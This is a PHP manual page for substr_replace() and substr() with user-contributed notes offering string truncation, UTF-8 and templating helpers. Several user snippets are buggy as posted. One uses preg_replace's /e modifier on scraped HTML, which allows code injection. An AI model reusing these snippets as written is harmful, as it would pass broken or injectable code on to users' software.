I wanted to replace the end of the string with ... if the string was too long to display (for instance article preview on a website). The problem was that my string was sometimes not that long and it still added the replacement string. So I wrote a function to replace substr_replace in my website:

function add_3dots($string,$repl,$start,$limit) {
    if(strlen($string) > $limit) {
        return substr_replace(strip_tags($string),$repl,$start,$limit);
    } else {
        return $string;
    };
};

I use strip_tags to strip out the HTML otherwise you might get a screwed up HTML (when a tags open in the string, but because you cut-off it doesn't)
tekrat at 2d dot com 06-Jan-2005 08:55
Here's a slightly revised version of the truncation function above.

Theres isn't much of a reason to  add in the $rep at the end of the original string is less then the truncation break point.
<?php
    function truncate($substring, $max = 50, $rep = '...') {
                if(strlen($substring) >= 1){
                        $string = $substring;
                }
        $leave = $max - strlen ($rep);

        if(strlen($string) > $max){
            return substr_replace($string, $rep, $leave);
        }else{
            return $string;
        }

    }
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by (ogt AT parasane DOT com) (which was me ;-P) from 21-JAN-05 at 11:02 EST.]
danieldoorduin at hotmail dot com 10-Dec-2004 02:48
Using substr_replace() can be avoided by using substr() instead:

<?
$string = substr($string, 0, $position_needle).$replace.substr($string, $position_needle+$length_needle);
?>

This can be useful when you need to replace parts of multibyte strings like strings encoded with utf-8. There isn't a multibute variant for substr_replace(), but for php substr() there is mb_substr(). For more information on multibyte strings see http://nl3.php.net/manual/en/ref.mbstring.php
titbits at nospam-4logical dot co dot uk 04-Aug-2004 02:28
A simple but useful 'pluralize' function using substr_replace:

  function pluralize($noun) {
    if ($noun{strlen($noun) -1} == "y")
      $noun = substr_replace($noun, "ies", strlen($noun) -1);
    else
      $noun .= "s";

    return $noun;
  }

Handy when displaying dynamic text.
dmron 17-Jun-2004 04:34
Regarding "...", even the short functions are too long and complicated, and there's no need to use substr_replace. substr() works better and is  way faster prior to 4.3.5 as the below poster stated.

function shorten( $str, $num = 100 ) {
  if( strlen( $str ) > $num ) $str = substr( $str, 0, $num ) . "...";
  return $str;
}
philip 13-May-2004 12:55
The substr_replace() function is extremely slow in PHP versions prior to 4.3.5 and 5.0.0 so consider using an alternative before this time.
tony at outshine dot com 10-May-2004 02:25
The comment by geniusdex is a good one.  Short, simple functions are the best.  But if the string is not longer than the limit set, NOTHING is returned.  Here is the function re-done to always return a string:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        $str = substr_replace($str, $dots, $len - $dotlen);
    }
    return $str;
}
?>
geniusdex ( at ) brz ( dot ) nu 23-Feb-2004 07:33
This is my version of making dotted strings:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        substr_replace($str, $dots, $len - $dotlen);
    }
}
?>
Thijs Wijnmaalen (thijs[at]nllinux.nl) 20-Jan-2004 11:05
I wrote a function that you can use for example in combination with a search script to cut off the articles that are too long.

<?php
function substr_index($text, $maxChars = 20, $splitter
= '...') {

$theReturn = $text;
$lastSpace = false;

if (strlen($text) > $maxChars) {
$theReturn = substr($text, 0, $maxChars - 1);

if (in_array(substr($text, $maxChars - 1, 1),
array(' ', '.', '!', '?'))) {
$theReturn .= substr($text, $maxChars, 1);
} else {
$theReturn = substr($theReturn, 0, $maxChars -
strlen($splitter));
$lastSpace = strrpos($theReturn, ' ');

if ($lastSpace !== false) {
$theReturn = substr($theReturn, 0, $lastSpace);
}

if (in_array(substr($theReturn, -1, 1), array(','))) {
$theReturn = substr($theReturn, 0, -1);
}
$theReturn .= $splitter;
}
}
return $theReturn;
}
?>
neon at lordneon dot com 05-Nov-2003 04:40
The easiest way (I think) to add trailing dots after a string which in my case are too long is:

<?
function dots($num, $string) {
    if (strlen($string) < $num) {
        $string = substr_replace($string, '...', '-10', $num);
    }
    return $string;
}

Then on your page do something like:
<? echo dots("30" $row['title']); ?>

if the string is greater than the specific number it'll replace 3 dots.

I hope this helps =)
?>
david at ethinkn dot com 05-Jul-2003 05:36
Here is a simple function to shorten a string and add an ellipsis

<?php

/**
 * truncate() Simple function to shorten a string and add an ellipsis
 *
 * @param string $string Origonal string
 * @param integer $max Maximum length
 * @param string $rep Replace with... (Default = '' - No elipsis -)
 * @return string
 * @author David Duong
 **/
function truncate ($string, $max = 50, $rep = '') {
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}

echo truncate ('akfhslakdhglksjdgh', 10, '...');
// Returns akfhsla... (10 chrs)

?>
thomasNOSPAM at sportentranceNOSPAM dot com 08-Oct-2002 03:01
To abbreviate links into '...' if they outreach a certain amount of space; use the preg_replace function instead.

For instance you grabbed the headlines of a news site for use on your own page and the lines are to long:

asuming the raw material is stored in $unedited;

$edited = preg_replace("/(>)([[:print:]]{52,})(<)/e", "'\\1'.substr_replace('\\2 ', '...', '48').'\\3'", $unedited);
echo $edited;

This will shorten strings longer than 52 characters into 51 characters, with the last being three dots...
klaas at group94 dot com 13-Feb-2002 10:38
THE DOT DOT DOT ISSUE

PROBLEM:
You want to abbreviate a string.
E.g. You want "BritneySpears" to show as "BritneySpe...", being only the ten first characters followed by "..."

SOLUTION:
<?
$oRIGINAL = "BritneySpears";
$sHORTER = substr_replace($oRIGINAL, '...', 10);
echo ($sHORTER);
?>

This will result in BritneySpe...
28-Sep-2001 08:30
If you would like to remove characters from the start or end of a string, try the substr() function.

For example, to remove the last three characters from a string:
$string = "To be or not to be.";
$string = substr ($string, 0, -3);
mrbrown8 at juno dot com 16-Apr-2001 12:16
Just to add to the examples, if replacement is longer than length, only the length number of chars are removed from string and all of replacement is put in its place, and therefor strlen($string) is inreased.

$var = 'ABCDEFGH:/MNRPQR/';
/*  Should return ABCDEFGH:/testingRPQR/   */
echo substr_replace ($var, 'testing', 10, 2);
jgainey at infoave dot net 13-Mar-2001 06:29
[Editor's note: for a much simpler solution, use number_format()]

I had a situation in which I needed to add a comma to the third position of a number(the price of something).

<?php
$price = "12000";
$price = substr_replace ($price, ',', -3, 0)";
?>

the result would be 12,000
the -3 counts from right to left. a regular 3 would count from left to right
I hope this helps...
substr_count
substr
String Functions


Return part of a string

substr_replace
trim
String Functions
PHP Manual

substr

(PHP 4, PHP 5)

substr — Return part of a string

Description

string substr ( string $string , int $start [, int $length ] )

Returns the portion of string specified by the start and length parameters.

Parameters

string

The input string. Must be one character or longer.

start

If start is non-negative, the returned string will start at the start'th position in string, counting from zero. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth.

If start is negative, the returned string will start at the start'th character from the end of string.

If string is less than or equal to start characters long, FALSE will be returned.

Example #1 Using a negative start

<?php
$rest = substr("abcdef", -1);    // returns "f"
$rest = substr("abcdef", -2);    // returns "ef"
$rest = substr("abcdef", -3, 1); // returns "d"
?>

length

If length is given and is positive, the string returned will contain at most length characters beginning from start (depending on the length of string).

If length is given and is negative, then that many characters will be omitted from the end of string (after the start position has been calculated when a start is negative). If start denotes the position of this truncation or beyond, false will be returned.

If length is given and is 0, FALSE or NULL an empty string will be returned.

If length is omitted, the substring starting from start until the end of the string will be returned.

Example #2 Using a negative length

<?php
$rest = substr("abcdef", 0, -1);  // returns "abcde"
$rest = substr("abcdef", 2, -1);  // returns "cde"
$rest = substr("abcdef", 4, -4);  // returns false
$rest = substr("abcdef", -3, -1); // returns "de"
?>

Return Values

Returns the extracted part of string, or FALSE on failure or an empty string.

Changelog

Version | Description
5.2.2 - 5.2.6 | If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start.

Examples

Example #3 Basic substr() usage

<?php
echo substr('abcdef', 1);     // bcdef
echo substr('abcdef', 1, 3);  // bcd
echo substr('abcdef', 0, 4);  // abcd
echo substr('abcdef', 0, 8);  // abcdef
echo substr('abcdef', -1, 1); // f

// Accessing single characters in a string
// can also be achieved using "square brackets"
$string = 'abcdef';
echo $string[0];                 // a
echo $string[3];                 // d
echo $string[strlen($string)-1]; // f

?>

Example #4 substr() casting behaviour

<?php
class apple {
    public function __toString() {
        return "green";
    }
}

echo "1) ".var_export(substr("pear", 0, 2), true).PHP_EOL;
echo "2) ".var_export(substr(54321, 0, 2), true).PHP_EOL;
echo "3) ".var_export(substr(new apple(), 0, 2), true).PHP_EOL;
echo "4) ".var_export(substr(true, 0, 1), true).PHP_EOL;
echo "5) ".var_export(substr(false, 0, 1), true).PHP_EOL;
echo "6) ".var_export(substr("", 0, 1), true).PHP_EOL;
echo "7) ".var_export(substr(1.2e3, 0, 4), true).PHP_EOL;
?>

The above example will output:

1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) false
6) false
7) '1200'

Errors/Exceptions

Returns FALSE on error.

<?php
var_dump(substr('a', 1)); // bool(false)
?>

See Also

  • strrchr() - Find the last occurrence of a character in a string
  • substr_replace() - Replace text within a portion of a string
  • preg_match() - Perform a regular expression match
  • trim() - Strip whitespace (or other characters) from the beginning and end of a string
  • mb_substr() - Get part of string
  • wordwrap() - Wraps a string to a given number of characters
  • String access and modification by character

User Contributed Notes

munirsunni(at)gmail(dot)com 23-Nov-2011 02:30
<?php

//Here is the function created for strip tags with sub string

function displaySubStringWithStrip($string, $length=NULL)
{
    if ($length == NULL)
            $length = 50;

    $stringDisplay = substr(strip_tags($string), 0, $length);
    if (strlen(strip_tags($string)) > $length)
        $stringDisplay .= ' ...';
    return $stringDisplay;
}

?>
leon weidauer 08-Jul-2011 01:07
When using a value of a wrong type as second parameter , substr() does not return FALSE but NULL although the docs say, it should return FALSE on error.

Prior to PHP 5.3, substr() tries to cast the second parameter to int and doesn't throw any errors. Since PHP 5.3 a warning is thrown.
Quicker 06-May-2011 04:17
If you need to parse utf-8 strings char by char, try this one:

<?php
     $utf8marker=chr(128);
     $count=0;
     while(isset($string{$count})){
       if($string{$count}>=$utf8marker) {
         $parsechar=substr($string,$count,2);
         $count+=2;
       } else {
         $parsechar=$string{$count};
         $count++;
       }
       /* do what you like with parsechar ... , eg.:*/  echo $parsechar."<BR>\r\n";
     }
?>

- it works without mb_substr
- it is fast, because it grabs characters based on indexes  when possible and avoids any count and split functions
slow at acedsl dot com 28-Mar-2011 01:47
Anyone coming from the Python world will be accustomed to making substrings by using a "slice index" on a string.  The following function emulates basic Python string slice behavior. (A more elaborate version could be made to support array input as well as string, and the optional third "step" argument.)

<?php

function py_slice($input, $slice) {
    $arg = explode(':', $slice);
    $start = intval($arg[0]);
    if ($start < 0) {
        $start += strlen($input);
    }
    if (count($arg) === 1) {
        return substr($input, $start, 1);
    }
    if (trim($arg[1]) === '') {
        return substr($input, $start);
    }
    $end = intval($arg[1]);
    if ($end < 0) {
        $end += strlen($input);
    }
    return substr($input, $start, $end - $start);
}

print py_slice('abcdefg', '2') . "\n";
print py_slice('abcdefg', '2:4') . "\n";
print py_slice('abcdefg', '2:') . "\n";
print py_slice('abcdefg', ':4') . "\n";
print py_slice('abcdefg', ':-3') . "\n";
print py_slice('abcdefg', '-3:') . "\n";

?>

The $slice parameter can be a single character index, or a range separated by a colon. The start of the range is inclusive and the end is exclusive, which may be  counterintuitive. (Eg, py_slice('abcdefg', '2:4') yields 'cd' not 'cde'). A negative range value means to count from the end of the string instead of the beginning. Both the start and end of the range may be omitted; the start defaults to 0 and the end defaults to the total length of the input.

The output from the examples:
c
cd
cdefg
abcd
abcd
efg
southern 25-Feb-2011 06:56
substr is case sensitive.  To make it case-insensitive, use something like:

<?php
if (substr($text,0,6)==strtoupper($find_me))
{
echo "Case insensitive $find_me detected.";
}
?>
nikolai dot wuestemann at t-online dot de 14-Jan-2011 08:56
If you want to have a string BETWEEN two strings, just use this function:

<?php
function get_between($input, $start, $end)
{
  $substr = substr($input, strlen($start)+strpos($input, $start), (strlen($input) - strpos($input, $end))*(-1));
  return $substr;
}

//Example:

$string = "123456789";
$a = "12";
$b = "9";

echo get_between($string, $a, $b);

//Output:
//345678
?>
Cristianlf 29-Oct-2010 02:10
I needed a function like lpad from oracle, or right from SQL
 then I use this code :

<?php
function right($string,$chars)
{
    $vright = substr($string, strlen($string)-$chars,$chars);
    return $vright;

}

    echo right('0r0j4152',4);
?>

Result:
 4152
------------------------------------------------
This function is really simple, I just wanted to share, maybe helps someone out there.

regards,
magickey 18-Oct-2010 02:23
Simple UTF-8 Multibyte solution (without mb_substr)

<?php
  $string="texto en espaÃ±ol";
  echo substr($string,0,14); //Outputs: texto en espaï¿½
?>

<?php
  $string="texto en espaÃ±ol";
  echo utf8_encode(substr(utf8_decode($string),0,14)); //Outputs: texto en espaÃ±
?>
joseph dot davidson dot 707 at gmail dot com 09-Oct-2010 12:58
Using substr() to examine characters of a string without altering the string.

<?php
$string = 'This is my string';
$length = strlen($string);
$myChar = 'm';

for($i = 0; $i < $length; $i++) {

    $showString_i = substr($string, $i, 1);
    if($myChar == $showString_i) return $i;
}
?>

can also examine subs.
uranetz 23-Sep-2010 02:20
Find differences between wokr of substr function when string length less then -start
ex:
$id=4;
var_dump(substr($id, -3));
at PHP Version 5.2.12 at windows it outputs: string(1) "4"
but at PHP Version 5.2.4-2ubuntu5.10: bool(false)
jeff dot swain at pcmmllc dot com 19-Jul-2010 05:00
I noticed a slight issue when parsing out long strings using the substr function.

Here is my string: $merge = "UPDATE AssistanceRequest SET RequestorID = '4301' WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

To parse out the WHERE portion I used:
$whereClause = substr($merge, strpos($merge,'WHERE', (strlen($merge) - strpos($merge,'WHERE'))));
Normally the function returned: $whereClause = "WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

This $whereClause gives me the WHERE clause to modify the MSSQL database records being manipulated. So that when I used $whereClause as the WHERE clause to create subsequent SQL, I used the following syntax: $setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' " . $whereClause;

This should have returned: $setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

As long as the length of the original $merge string was less than 104 characters, the $setDeleteFlag sql came out correctly. However, when the length of the original $merge string exceeded 104 characters, I got this returned:

$setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

The result was that the bIsDirty field for every record in the database was set to 'DELETE'. I fixed it by breaking apart the substr to create the original $whereClause so that it looked like this:

$wherePosition = strpos($merge,'WHERE');
$whereClause = substr($merge, $wherePosition, strlen($merge) - $wherePosition);
$setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' " . $whereClause;

I do have to note that I run PHP 5.x on my development server, while I think the production host is still on 4.x. I did not seem to have an issue in development, but I don't think I tested strings longer than 104 characters. Maybe this issue has been corrected in version 5.x.
kueb at NOSPAM dot gmx dot de 15-Apr-2010 05:50
I had some problems with the order of the closing of tags.

Example:
<p>some <b><i>very</i>long</b> text to show my problem</p>
would be converted to (if the script would cut the part after "very":
<p>some <b><i>very</p></b></i>

My second problem was, that the script didn't recognized tags like <a href="#" title="title">

So my version based on bennys and erez' work looks like this:

<?php
function mb_substrws($text, $length = 180) {
    if((mb_strlen($text) > $length)) {
        $whitespaceposition = mb_strpos($text, ' ', $length) - 1;
        if($whitespaceposition > 0) {
            $chars = count_chars(mb_substr($text, 0, ($whitespaceposition + 1)), 1);
            if ($chars[ord('<')] > $chars[ord('>')]) {
                $whitespaceposition = mb_strpos($text, ">", $whitespaceposition) - 1;
            }
            $text = mb_substr($text, 0, ($whitespaceposition + 1));
        }
        // close unclosed html tags
        if(preg_match_all("|(<([\w]+)[^>]*>)|", $text, $aBuffer)) {
            if(!empty($aBuffer[1])) {
                preg_match_all("|</([a-zA-Z]+)>|", $text, $aBuffer2);
                if(count($aBuffer[2]) != count($aBuffer2[1])) {
                    $closing_tags = array_diff($aBuffer[2], $aBuffer2[1]);
                    $closing_tags = array_reverse($closing_tags);
                    foreach($closing_tags as $tag) {
                            $text .= '</'.$tag.'>';
                    }
                }
            }
        }

    }
    return $text;
}
?>
lwjct at hotmail dot com 25-Mar-2010 01:39
It doesn't support Chinese characters under utf-8 so well.

with utf-8, each Chinese character counts with 3 in length.
with utf-16, each one counts as 2 in length.
Jarrod Nettles (jarrod at squarecrow dot com) 01-Feb-2010 12:46
I've seen numerous requests over the years from people trying to put together templating systems using XML parsers or regular expressions - you can create a simple template system with the following class. It could easily be expanded to take advantage of parameters, conditionals, etc.

<?php

class Template
{
    const OPEN_BRACKET = "{";
    const CLOSE_BRACKET = "}";

    public static function inject(array $source, $template)
    {
        $ob_size = strlen(self::OPEN_BRACKET);
        $cb_size = strlen(self::CLOSE_BRACKET);

        $pos = 0;
        $end = strlen($template);

        while($pos <= $end)
        {
            if($pos_1 = strpos($template, self::OPEN_BRACKET, $pos))
            {
                if($pos_1)
                {
                    $pos_2 = strpos($template, self::CLOSE_BRACKET, $pos_1);

                    if($pos_2)
                    {
                        $return_length = ($pos_2-$cb_size) - $pos_1;

                        $var = substr($template, $pos_1+$ob_size, $return_length);

                        $template = str_replace(self::OPEN_BRACKET.$var.self::CLOSE_BRACKET, $source[$var], $template);

                        $pos = $pos_2 + $cb_size;
                    }
                    else
                    {
                        throw new exception("Incorrectly formed template - missing closing bracket. Please check your syntax.");
                        break;
                    }
                }
            }
            else
            {
                //exit the loop
                break;
            }
        }

        return $template;
    }

}

//array of values to inject into the template
$array = array("NAME" => "John Doe",
                "DOB"    => "12/21/1986",
                "ACL" => "Super Administrator");

//template using '{' and '}' to signify variables
$template = "This is your template, {NAME}. You were born on {DOB} and you are a {ACL} on this system.";

echo Template::inject($array, $template);
?>
vnonov at gmail dot com / Viktor Nonov 28-Jan-2010 10:32
<?php

//removes string from the end of other

function removeFromEnd($string, $stringToRemove) {
    $stringToRemoveLen = strlen($stringToRemove);
    $stringLen = strlen($string);

    $pos = $stringLen - $stringToRemoveLen;

    $out = substr($string, 0, $pos);

    return $out;
}

$string = 'picture.jpg.jpg';
$string = removeFromEnd($string, '.jpg');
?>
biner(gf) 19-Nov-2009 09:46
<?php
//substring without words breaking

$str = "aa bb ccc ddd ee fff gg hhh iii";

echo substr(($str=wordwrap($str,$,'$$')),0,strpos($str,'$$'));
?>
info /a/ nopticon /dot/ com 08-Oct-2009 11:52
<?php

// Substring without losing word meaning and
// tiny words (length 3 by default) are included on the result.
// "..." is added if result do not reach original string length

function _substr($str, $length, $minword = 3)
{
    $sub = '';
    $len = 0;

    foreach (explode(' ', $str) as $word)
    {
        $part = (($sub != '') ? ' ' : '') . $word;
        $sub .= $part;
        $len += strlen($part);

        if (strlen($word) > $minword && strlen($sub) >= $length)
        {
            break;
        }
    }

    return $sub . (($len < strlen($str)) ? '...' : '');
}

?>
kaj dot strom at kapsi dot fi 05-Oct-2009 04:42
One thing to keep in mind when using string indexes and UTF-8 is that string indexes are NOT multi-byte safe.

<?php
$string = 'Ã¤Ã¤Ã¤1';
echo $string[3];
?>

Outputs:
Â¤

When it logically should output "1". This is not a bug, as PHP 'normal' string functions are not intended to be multi-byte safe. This can be solved by using this function

<?php
/**
 *
 * @param string $string String to "search" from
 * @param int $index Index of the letter we want.
 * @return string The letter found on $index.
 */
function charAt($string, $index){
    if($index < mb_strlen($string)){
        return mb_substr($string, $index, 1);
    }
    else{
        return -1;
    }
}
?>
gkhelloworld at gmail dot com 26-Jul-2009 03:44
Shortens the filename and its expansion has seen.

$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}

// RETURN: Hellothisfileha...andthisfayl.exe
// other simples on rollyz.net
gkhelloworld at gmail dot com 26-Jul-2009 03:40
Shortens the filename and its expansion has seen.

$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}

// RETURN: Hellothisfileha...andthisfayl.exe
// other simples on rollyz.net
gkhelloworld at gmail dot com 26-Jul-2009 03:39
Shortens the filename and its expansion has seen.

<?php
$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}
// RETURN: Hellothisfileha...andthisfayl.exe
?>
kaysar in ymail in com 07-Jun-2009 11:58
Drop extensions of a file (even from a file location string)

<?php

$filename = "c:/some dir/abc defg. hi.jklmn";

echo substr($filename, 0, (strlen ($filename)) - (strlen (strrchr($filename,'.'))));

?>

output: c:/some dir/abc defg. hi

Hope it may help somebody like me.. (^_^)
benny at bennyborn dot de 06-May-2009 01:52
If you need a word-sensitive and also html-tags aware version of substr, this one should do the job. It works fine for me

<?php
/**
* word-sensitive substring function with html tags awareness
* @param text The text to cut
* @param len The maximum length of the cut string
* @returns string
**/
function substrws( $text, $len=180 ) {

    if( (strlen($text) > $len) ) {

        $whitespaceposition = strpos($text," ",$len)-1;

        if( $whitespaceposition > 0 )
            $text = substr($text, 0, ($whitespaceposition+1));

        // close unclosed html tags
        if( preg_match_all("|<([a-zA-Z]+)>|",$text,$aBuffer) ) {

            if( !empty($aBuffer[1]) ) {

                preg_match_all("|</([a-zA-Z]+)>|",$text,$aBuffer2);

                if( count($aBuffer[1]) != count($aBuffer2[1]) ) {

                    foreach( $aBuffer[1] as $index => $tag ) {

                        if( empty($aBuffer2[1][$index]) || $aBuffer2[1][$index] != $tag)
                            $text .= '</'.$tag.'>';
                    }
                }
            }
        }
    }

    return $text;
}
?>
Andreas Bur (andreas dot buro at gmail dot com) 29-Apr-2009 06:25
For getting a substring of UTF-8 characters, I highly recommend mb_substr

<?php
        $utf8string = "cakeÃ¦Ã¸Ã¥";

        echo substr($utf8string,0,5);
        // output cake#
        echo mb_substr($utf8string,0,5,'UTF-8');
        //output cakeÃ¦
?>
webmaster at oehoeboeroe dot nl 18-Apr-2009 02:07
You might expect substr('123456', 6) to return an empty string. Instead it returns boolean FALSE.

This behavior should be mentioned in the Return Values section of the manual. Instead it is only mentioned in the Parameters section.

If you need an empty string instead of a boolean FALSE you should typecast the result to a string.

<?php
$a = substr('123456', 6);              // equivalent to $a = FALSE
$a = (string) substr('123456', 6);   // equivalent to $a = '';
?>
Jakob S. 15-Apr-2009 07:13
If you need to get the first $num Chars of $str and remove them from $str you'll want to use following function:

<?php
function string_shift(&$str,$num) {
    $cutOff=substr($str,0,$num);
    $str=substr($str,$num);
    return $cutOff;
}
?>
sajjad at sajjad dot biz 08-Apr-2009 12:28
Substring utf-8 strings!
very simple!

<?php
function substru($str,$from,$len){
    return preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'. $from .'}'.'((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'. $len .'}).*#s','$1', $str);
}
?>
link 21-Mar-2009 05:52
And as always there is bound to be a bug:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;($i<=$end && isset($textarray[$i]));$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
link 20-Mar-2009 07:19
I created some functions for entity-safe splitting+lengthcounting:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;$i<=$end;$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
ralphingATNOSPAMDOTpocztaDOTonetDOTpl 10-Mar-2009 05:08
this function return string between two delimiters
i found it very useful to get text between html tags

<?php
function strbet($inputStr, $delimeterLeft, $delimeterRight, $debug=false) {
    $posLeft=strpos($inputStr, $delimeterLeft);
    if ( $posLeft===false ) {
        if ( $debug ) {
            echo "Warning: left delimiter '{$delimeterLeft}' not found";
        }
        return false;
    }
    $posLeft+=strlen($delimeterLeft);
    $posRight=strpos($inputStr, $delimeterRight, $posLeft);
    if ( $posRight===false ) {
        if ( $debug ) {
            echo "Warning: right delimiter '{$delimeterRight}' not found";
        }
        return false;
    }
    return substr($inputStr, $posLeft, $posRight-$posLeft);
}
?>
jude dot dadzie at gmail dot com 24-Feb-2009 07:30
Here's a simple direct way of extracting the information you need from a string...

Suppose your string is "C:/www/vhosts/example.com/images/image1.jpg" which points to an image. Let's assume you want the part "images/image1.jpg". We have to do the ff:

<?php
$image="C:/www/vhosts/example.com/images/image1.jpg"

$image=substr($image,strpos($image,'image', (strlen($image)-strpos($image,'image'))));

echo $image."<br/>"; //will give 'images/image1.jpg'
?>
wrapbit at yahoo dot com 31-Oct-2008 01:00
<?php
$cfg[csvEnc] = '"';
$cfg[csvEsc] = '\\';
$cfg[csvTerm] = ",";

if( !function_exists("parse_csv_aux") ){
    function parse_csv_aux( $string ){
        global $cfg;
        $product = "";
        $in_quote = FALSE;
        $skipped_quote = FALSE;
        for($i = 0 ; $i < strlen($string) ; $i++){
            if( $string{$i} == $cfg[csvEnc] ){
                if($in_quote){
                    if($skipped_quote){
                        $product .= $cfg[csvEnc];
                        $skipped_quote = FALSE;
                    }
                    else if( !$skipped_quote ){
                        $skipped_quote = TRUE;
                    }
                    $in_quote = FALSE;
                }
                else{
                    if($skipped_quote) $skipped_quote = FALSE;
                    $in_quote = TRUE;
                }
            }
            else if( $string{$i} == "," ){
                if($in_quote){
                    $product .= ",";
                }
                else{
                    $product .= " ~ ";
                }
            }
            else{
                if($in_quote){
                    //$in_quote = FALSE;
                    $product .= $string{$i};
                }
                else{
                    $product .= $string{$i};
                }
            }
        }
        return $product;
    }
}

if( !function_exists("parse_csv") ){
    function parse_csv($string){
        global $cfg;
        $data = array();
        if( is_string($string) && ( stripos($string, "\n") !== FALSE )    ){
            $data = explode("\n", parse_csv_aux($string) );
            foreach($data as $key => $row){
                $columns = array();
                //$row = strtr(    $row, array( "\";\"" => "\";\"", ";" => " ; " )    );
                if( stripos($row, " ~ ") !== FALSE ){
                    $columns = explode( " ~ ", $row );
                    if( !is_array($columns) )$columns = array( strval($columns) );
                    $data[$key] = $columns;
                }
            }
            return $data;
        }
        else if( is_string($string) && ( stripos( ($string = parse_csv_aux($string)), " ~ ") !== FALSE )    ){
            $columns = explode( " ~ ", $string );
            if( !is_array($columns) )$columns = array( strval($columns) );
            return array($columns);
        }
        else return strval($string);
    } /* end function parse_csv */
} /* end not function exists parse_csv */

if( !function_exists("store_csv_aux") ){
    function store_csv_aux( $string ){
        global $cfg;
        $string = strtr( $string, array( "\n" => "" ) );
        $product = "";
        $in_quote = FALSE;
        for( $i = 0 ; $i < strlen($string) ; $i++ ){
            if( $string{$i} == $cfg[csvEnc] ){
                if($in_quote){
                    $product .= "\"{$cfg[csvEnc]}";
                }
                else{
                    $product .= "\"\"{$cfg[csvEnc]}";
                    $in_quote = TRUE;
                }
            }
            else if( $string{$i} == "," ){
                if($in_quote){
                    $product .= ",";
                }
                else{
                    $product .= "\",";
                    $in_quote = TRUE;
                }
            }
            else{
                if($in_quote){
                    $product .= $cfg[csvEnc];
                    $in_quote = FALSE;
                    $product .= $string{$i};
                }
                else{
                    $product .= $string{$i};
                }
            }
        }
        if($in_quote)$product .= $cfg[csvEnc];
        return $product;
    }
}

if( !function_exists("store_csv") ){
    function store_csv($data){
        global $cfg;
        if(!is_array($data))return strval($data);
        $passed_rows = FALSE;
        $product = "";
        foreach($data as $row){
            if( $passed_rows )$product .= "\n";
            if( is_array($row) ){
                $columns = "";
                $passed_cols = FALSE;
                foreach($row as $column){
                    if( $passed_cols )$columns .= ",";
                    $columns .= store_csv_aux( $column );
                    $passed_cols =TRUE;
                }
                $product .= strval($columns);
            }
            else{
                $product .= strtr( strval($row), array("\n" => "") );
            }
            $passed_rows = TRUE;
        }
        return $product;
    } /* end function store_csv */
} /* end not function exists store_csv */
?>

